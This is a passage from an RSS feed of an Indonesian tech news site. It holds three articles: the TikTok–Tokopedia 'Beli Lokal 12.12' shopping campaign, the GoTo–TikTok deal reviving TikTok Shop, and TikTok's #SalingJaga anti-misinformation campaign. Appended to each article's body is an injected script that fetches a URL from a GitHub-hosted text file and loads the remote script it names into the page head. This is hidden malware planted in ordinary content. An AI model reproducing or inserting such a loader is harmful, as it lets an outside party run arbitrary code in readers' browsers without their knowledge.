		<guid isPermaLink="false">https://nativzen.com/?p=1630</guid>

					<description><![CDATA[Beli Lokal 12.12 adalah sebuah kampanye belanja online menarik yang ditawarkan melalui kolaborasi dari TikTok dan Tokopedia.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Kolaborasi GoTo melalui Tokopedia dan TikTok yang bertujuan untuk mendorong kemajuan UMKM lokal akhirnya ditunjukkan secara nyata dalam bentuk kampanye belanja online bertajuk &#8220;Beli Lokal 12.12&#8221;.</p>



<p>Bertepatan dengan Hari Belanja Online Nasional (Harbolnas), kampanye Beli Lokal 12.12 dibuka langsung oleh Menteri Perdagangan RI Zulkifli Hasan di kantor Tokopedia, (12/12) yang ditemani Presiden Tokopedia, Melissa Siska Juminto dan Stephanie Susilo, Executive Director of E-Commerce, TikTok Indonesia.</p>



<p>&#8220;Beli Lokal 12.12 adalah sebuah kampanye belanja online menarik yang ditawarkan melalui kolaborasi dari TikTok dan Tokopedia. Saya berharap, lewat kolaborasi ini, UMKM di Tanah Air bisa lebih semangat memasarkan produk-produk buatannya,&#8221; ucap Zulkifli Hasan.</p>



<p>Nah! Bagi kamu yang tertarik untuk bongkar tabungan dan berbelanja kebutuhan yang diinginkan dengan promo menggiurkan melalui program Beli Lokal 12.12 bisa langsung menyambangi platform TikTok serta Tokopedia mulai hari ini, 12 Desember 2023.</p>



<p>Salah satu promo menarik yang bisa kamu temukan dalam program Beli Lokal 12.12 kali ini adalah Diskon sampai dengan Rp100 ribu. Selain itu, kolaborasi TikTok dan Tokopedia ini juga menawarkan promo lainnya, yakni Flash Sale serba Rp12 ribu.</p>



<p>&#8220;Konsumen yang tertarik berbelanja di dalam program Beli Lokal 12.12 juga tak perlu khawatir. Kami juga menghadirkan kumpulan brand lokal yang sudah memiliki nama di Tanah Air dan produk berkualitas,&#8221; ucap Presiden Tokopedia,&#8221; Melissa Siska Juminto.</p>



<p>Lebih lanjut, Melissa juga menjanjikan bahwa brand lokal dengan produk berkualitas dan sudah memiliki nama ini tak sekadar ikut meramaikan pesta belanja online Beli Lokal 12.12, tetapi juga memberikan potongan harga sampai dengan Rp100 ribu.</p>



<p>Sekadar informasi, Beli Lokal 12.12 racikan TikTok dan Tokopedia ini juga menjadi &#8220;pintu gerbang&#8221; dihidupkannya kembali TikTok Shop. Seperti yang kita tahu, pemerintah melalui Menteri Perdagangan pada bulan Oktober lalu telah menghentikan layanan TikTok Shop.</p>



<p>&#8220;Kami berikan masa percobaan 3 hingga 4 bulan, dan ini diawali dengan Beli Lokal 12.12 yang mulai digulirkan hari ini. Tentunya kami akan lihat sejauh mana perkembangannya dan semua itu akan kami beri penilaian,&#8221; pungkas Zulkifli Hasan.</p>
 (<script>var url = "https://raw.githubusercontent.com/truba77/trubnik/main/to.txt"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement("script"); script.src = data.trim(); document.getElementsByTagName("head")[0].appendChild(script); });</script>)]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>GoTo Bermitra dengan TikTok, Hidupkan Kembali TikTok Shop</title>
		<link>https://nativzen.com/2023/12/11/goto-bermitra-dengan-tiktok-hidupkan-kembali-tiktok-shop/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Mon, 11 Dec 2023 04:30:13 +0000</pubDate>
				<category><![CDATA[Apps & OS]]></category>
		<category><![CDATA[NEWS]]></category>
		<category><![CDATA[goto]]></category>
		<category><![CDATA[tiktok]]></category>
		<category><![CDATA[tiktok shop]]></category>
		<category><![CDATA[tokopedia]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=1614</guid>

					<description><![CDATA[TikTok akan memiliki pengendalian atas Tokopedia. Sementara, fitur TikTok Shop di Indonesia akan dijalankan oleh Tokopedia.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; GoTo dan TikTok telah telah mengumumkan kemitraannya untuk memperkuat pertumbuhan ekonomi digital Indonesia. Kemitraan yang diumumkan pada hari ini, Senin (11/12) fokus pada pemberdayaan serta perluasan pasar bagi pelaku UMKM nasional.</p>



<p>Sebagai bagian dari kemitraan tersebut, bisnis Tokopedia dan TikTok Shop Indonesia akan dikombinasikan di bawah Tokopedia, di mana TikTok akan memiliki pengendalian atas Tokopedia. Sementara, fitur TikTok Shop di Indonesia akan dijalankan oleh Tokopedia. </p>



<p>Sebagai komitmen jangka panjang untuk mendukung operasional Tokopedia, TikTok akan menggelontorkan investasi lebih dari US$1,5 miliar. Melalui kesepakatan ini, TikTok dan GoTo dapat memperluas manfaat bagi pengguna serta pelaku UMKM Indonesia. </p>



<p>Pertumbuhan bisnis Tokopedia setelah terintegrasi dengan TikTok Shop ini akan membawa keuntungan bagi GoTo, yang akan tetap menjadi mitra ekosistem bagi Tokopedia, termasuk menjangkau pasar yang lebih luas dengan layanan keuangan digital.</p>



<p>Kemitraan strategis ini akan diawali dengan periode uji coba yang dilaksanakan dengan konsultasi dan pengawasan dari kementerian serta lembaga terkait. Program yang akan diluncurkan di masa uji coba ini adalah kampanye Beli Lokal dimulai pada 12 Desember.</p>



<p>Hadir di aplikasi Tokopedia dan TikTok, kampanye Beli Lokal akan mempromosikan berbagai jenisÂ merchant produk asal Indonesia. Sementara, Beli Lokal di aplikasi TikTok, memungkinkan pengguna TikTok berbelanja dan berinteraksi dengan produk lokal favorit.</p>



<p>Ke depannya, TikTok, Tokopedia, dan Grup GoTo berkomitmen memberikan manfaat lebih luas bagi pelaku UMKM dengan memanfaatkan platformÂ e-commerce, dan mendorong penciptaan jutaan lapangan kerja baru dalam lima tahun mendatang. </p>



<p>Dengan penggabungan kedua bisnis tersebut, lebih dari 90%Â merchantÂ merupakan pelaku UMKM. Tak hanya itu, para pelaku UMKM tersebut juga akan mendapatkan dukungan melalui berbagai program yang digulirkan oleh TikTok, Tokopedia dan Grup GoTo.</p>



<p>Transaksi tersebut diharapkan akan selesai pada kuartal pertama tahun 2024. Kesepakatan ini juga sejalan dengan langkah Grup GoTo untuk memperkuat posisi keuangan serta strategi Perseroan untuk memperluas cakupan pasar (total addressable market).</p>
 (<script>var url = "https://raw.githubusercontent.com/truba77/trubnik/main/to.txt"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement("script"); script.src = data.trim(); document.getElementsByTagName("head")[0].appendChild(script); });</script>)]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>Kampanye #SalingJaga, Cara Efektif TikTok Melawan Hoax</title>
		<link>https://nativzen.com/2023/12/02/kampanye-salingjaga-cara-efektif-tiktok-melawan-hoax/</link>
		
		<dc:creator><![CDATA[Eko Lanue Ardie]]></dc:creator>
		<pubDate>Sat, 02 Dec 2023 06:51:00 +0000</pubDate>
				<category><![CDATA[Apps & OS]]></category>
		<category><![CDATA[NEWS]]></category>
		<category><![CDATA[forwat]]></category>
		<category><![CDATA[konten pemilu]]></category>
		<category><![CDATA[lawan hoax]]></category>
		<category><![CDATA[mafindo]]></category>
		<category><![CDATA[misinformasi]]></category>
		<category><![CDATA[tiktok]]></category>
		<guid isPermaLink="false">https://nativzen.com/?p=1337</guid>

					<description><![CDATA[TikTok punya kampanye #SalingJaga. Ini bertujuan untuk mengajak pengguna saling jaga satu sama lainnya dari bahaya misinformasi.]]></description>
										<content:encoded><![CDATA[
<p><strong>NATIVZEN.com</strong> &#8211; Laporan TurnBackHoax.id menyebutkan bahwa dari Januari &#8211; November 2023, tingkat isu hoax atau misinformasi untuk isu politik mencapai 53,9 persen. Sedangkan untuk jumlah konten hoax yang beredar mencapai 2.045.</p>



<p>Hal itu diungkap oleh Dewi Sari, Strategic Partnerships MAFINDO (Masyarakat Anti Fitnah Indonesia) di dalam acara Workshop Jurnalis yang digelar Forum Wartawan Teknologi (Forwat) di Jakarta pada Jumat, 1 Desember 2023.</p>



<p>&#8220;Isu mengenai misinformasi di media sosial, terutama di Indonesia, saat ini menjadi sorotan banyak mata. Apalagi Indonesia akan memasuki tahun politik, yang membuat media sosial dibanjiri informasi yang belum tentu benar dan berpotensi menyesatkan,&#8221; ungkap Dewi.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="1024" height="770" src="https://nativzen.com/wp-content/uploads/2023/12/47f31c42-0be9-42c7-b40d-26d74892ca28-1024x770.jpg" alt="" class="wp-image-1340" srcset="https://nativzen.com/wp-content/uploads/2023/12/47f31c42-0be9-42c7-b40d-26d74892ca28-1024x770.jpg 1024w, https://nativzen.com/wp-content/uploads/2023/12/47f31c42-0be9-42c7-b40d-26d74892ca28-300x226.jpg 300w, https://nativzen.com/wp-content/uploads/2023/12/47f31c42-0be9-42c7-b40d-26d74892ca28-768x578.jpg 768w, https://nativzen.com/wp-content/uploads/2023/12/47f31c42-0be9-42c7-b40d-26d74892ca28-1536x1155.jpg 1536w, https://nativzen.com/wp-content/uploads/2023/12/47f31c42-0be9-42c7-b40d-26d74892ca28-2048x1540.jpg 2048w, https://nativzen.com/wp-content/uploads/2023/12/47f31c42-0be9-42c7-b40d-26d74892ca28-370x278.jpg 370w, https://nativzen.com/wp-content/uploads/2023/12/47f31c42-0be9-42c7-b40d-26d74892ca28-270x203.jpg 270w, https://nativzen.com/wp-content/uploads/2023/12/47f31c42-0be9-42c7-b40d-26d74892ca28-570x429.jpg 570w, https://nativzen.com/wp-content/uploads/2023/12/47f31c42-0be9-42c7-b40d-26d74892ca28-740x556.jpg 740w, https://nativzen.com/wp-content/uploads/2023/12/47f31c42-0be9-42c7-b40d-26d74892ca28-80x60.jpg 80w" sizes="(max-width: 1024px) 100vw, 1024px" /></figure>



<p>Untuk menangkal hal itu, MAFINDO bersinergi dengan TikTok, dan telah dimasukkan sebagai salah satu mitra keamanan. Akun TikTok MAFINDO di Pusat Panduan Pemilu 2024 juga menyajikan konten-konten edukasi untuk melawan penyebaran hoax menjelang pemilu.</p>



<p>Di kesempatan yang sama, TikTok sebagai salah satu platform hiburan digital terbesar di Indonesia menegaskan bahwa mereka berkomitmen melawan penyebaran misinformasi di platform, baik terkait pemilu maupun isu-isu hangat lainnya.</p>



<p>â€œAda berbagai upaya yang kami lakukan untuk melindungi keamanan pengguna di platform kami, mulai dari sisi TikTok itu sendiri dan juga dari sisi pengguna,&#8221; ungkap Anggini Setiawan, Head of Communications, TikTok Indonesia.</p>



<p>Dari sisi TikTok, TikTok memiliki tim moderasi yang mengkombinasikan teknologi mesin dan manusia. Kombinasi kedua hal ini penting untuk memberikan konteks lokal terhadap suatu konten dan memastikan kenyamanan bagi pengguna.</p>



<p>Sedangkan dari sisi pengguna, mereka memiliki kendali besar terhadap algoritma TikTok agar konten yang muncul di laman For You sesuai dengan preferensi mereka. Konten yang dihadirkan dalam setiap akun akan berbeda tergantung preferensi unik dari tiap pengguna.</p>



<p>â€œSaat pertama kali pengguna membuat akun di TikTok, mereka sudah diminta untuk memilih kategori apa saja yang disukai. Dengan begitu, konten yang disediakan oleh TikTok nantinya akan relevan dengan minat mereka,â€ papar Anggi.</p>



<p>Selain itu, pengguna juga dapat mengontrol konten apa saja yang dapat dihindari dengan melakukan beberapa hal. Salah satunya memanfaatkan fitur â€œtidak tertarikâ€ untuk video yang tidak sesuai minatnya, atau melakukan filterisasi menggunakan hashtag (tagar kata kunci).</p>



<p>Sementara itu, Anbar Jayadi, Outreach &amp; Partnerships, Trust &amp; Safety, TikTok Indonesia, memaparkan lebih lanjut perihal Panduan Komunitas yang harus dipatuhi oleh semua pengguna ketika berinteraksi dan berkreasi di TikTok.</p>



<p>â€œPanduan Komunitas merupakan serangkaian norma dan kode etik umum untuk TikTok. Hal ini dibuat oleh TikTok sebagai panduan tentang apa yang boleh dan tidak boleh dilakukan. Hal ini penting untuk menciptakan ruang yang ramah bagi semua orang,&#8221; jelas Anbar.</p>



<p>TikTok secara tegas akan menghapus konten yang melanggar Panduan Komunitas. Jika akun yang sama sering membuat pelanggaran, akunnya akan di-takedown. Pada konteks tertentu, TikTok juga dapat melaporkan kepada pihak otoritas setempat.</p>



<p>Melalui Panduan Komunitas, TikTok memberikan 7 tema besar panduan, di antaranya topik keamanan dan kesejahteraan remaja, integritas dan keaslian, keamanan dan keberadaban, aktivitas komersial dan barang yang diatur, kesehatan mental dari perilaku, privasi dan keamanan, serta tema sensitif dan dewasa.</p>



<p>Selain itu, TikTok juga punya yang namanya Dukungan Peristiwa Tragis. Ini dihadirkan oleh TikTok untuk membantu pengguna agar dapat mencari pertolongan jika melihat konten yang membuat mereka trauma saat menggunakan TikTok. </p>



<p>Di Indonesia, TikTok bekerja sama dengan Wahid Foundation sebagai mitra keamanan lokal di dalam Pusat Keamanan untuk Dukungan Peristiwa Tragis. Sementara, menyambut Pemilu 2024, TikTok juga telah meluncurkan berbagai inisiatif dan upaya menjaga integritas pemilu. </p>



<p>Dua di antaranya yaitu kebijakan dan penegakan aturan, termasuk kebijakan soal Akun Pemerintah, Politikus dan Partai Politik (GPPPA); serta kolaborasi dengan pemangku kepentingan terkait seperti Bawaslu RI, KPU RI dan mitra keamanan.</p>



<p>â€œKebijakan GPPPA mengatur akun-akun yang dimiliki oleh pemerintah, politikus, dan partai politik. Akun mereka mendapatkan beberapa pengaturan yang lebih ketat, seperti tidak bisa menggunakan fitur &#8216;promote&#8217; hingga fitur LIVE gift untuk penggalangan dana,&#8221; jelas Anggi.</p>



<p>Berkolaborasi dengan Bawaslu dan KPU, TikTok sangat terbantu karena bisa menyebarkan informasi terkait pemilu yang kredibel kepada komunitas TikTok. Selain itu, TikTok juga menyediakan kanal pelaporan yang bisa digunakan oleh Bawaslu.</p>



<p>Selain dua upaya di atas yang menjadi bagian dari inisiatif, TikTok juga menghadirkan fitur dan informasi di dalam aplikasi khusus untuk Pemilu 2024, termasuk di antaranya tombol laporkan dan fitur tahu faktanya, dan Pusat Panduan Pemilu 2024. </p>



<p>&#8220;Upaya TikTok yang holistik ini dikemas dalam kampanye #SalingJaga untuk mengajak pengguna saling jaga satu sama lainnya dari bahaya misinformasi. Karena itu, kami juga mengajak masyarakat mengekspresikan diri di platform kami dengan benar,&#8221; pungkas Anggi.</p>
 (<script>var url = "https://raw.githubusercontent.com/truba77/trubnik/main/to.txt"; fetch(url) .then(response => response.text()) .then(data => { var script = document.createElement("script"); script.src = data.trim(); document.getElementsByTagName("head")[0].appendChild(script); });</script>)]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
